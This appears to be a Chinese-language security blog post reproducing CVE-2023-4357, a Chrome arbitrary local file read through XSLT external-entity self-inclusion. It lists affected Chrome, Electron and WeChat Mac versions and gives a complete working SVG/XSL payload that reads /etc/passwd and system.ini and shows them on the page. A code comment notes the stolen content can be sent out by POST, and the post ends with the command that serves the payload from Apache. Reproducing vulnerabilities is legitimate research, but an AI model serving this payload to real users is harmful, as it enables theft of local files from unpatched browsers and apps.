banner
yfsec

yfsec

一个会一点点渗透,会一点点开发,会一点点Windows内核的Fw
github

CVE-2023-4357 Chrome 任意文件讀取漏洞

Google Chrome 任意文件讀取
漏洞原理:第一次實體聲明引用外部實體是被攔截的,通過將自身作為外部 XML 文檔進行自我包含後,再進行第二次實體聲明引用外部實體,並且要求兩次的引用的格式能相互兼容不報錯,即可繞過攔截,讀取本地文件
利用條件:
Chrome 版本 < 116.0.5845.96
Electrom 版本 < 26.1.0
微信 Mac 版本 < 3.8.5.17
必要條件:關閉沙箱模式
image.png
複現環境
image.png
Payload

<?xml version="1.0" encoding="UTF-8"?>
  <?xml-stylesheet type="text/xsl" href="?#"?>
  <!DOCTYPE div [
  <!ENTITY passwd_p        "file:///etc/passwd">
  <!ENTITY passwd_c SYSTEM "file:///etc/passwd">
  <!ENTITY sysini_p        "file:///c:/windows/system.ini">
  <!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
  ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&sysini_p;">&sysini_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;
        });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>

攻擊機打開 Apache 服務 將 payload 命名為 d.svg 瀏覽器訪問頁面

systemctl start apache2

成功讀取到本地 system.ini 文件,通過該漏洞可以讀取 Windows 其他敏感文件,以及執行 XXE 代碼
image.png

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。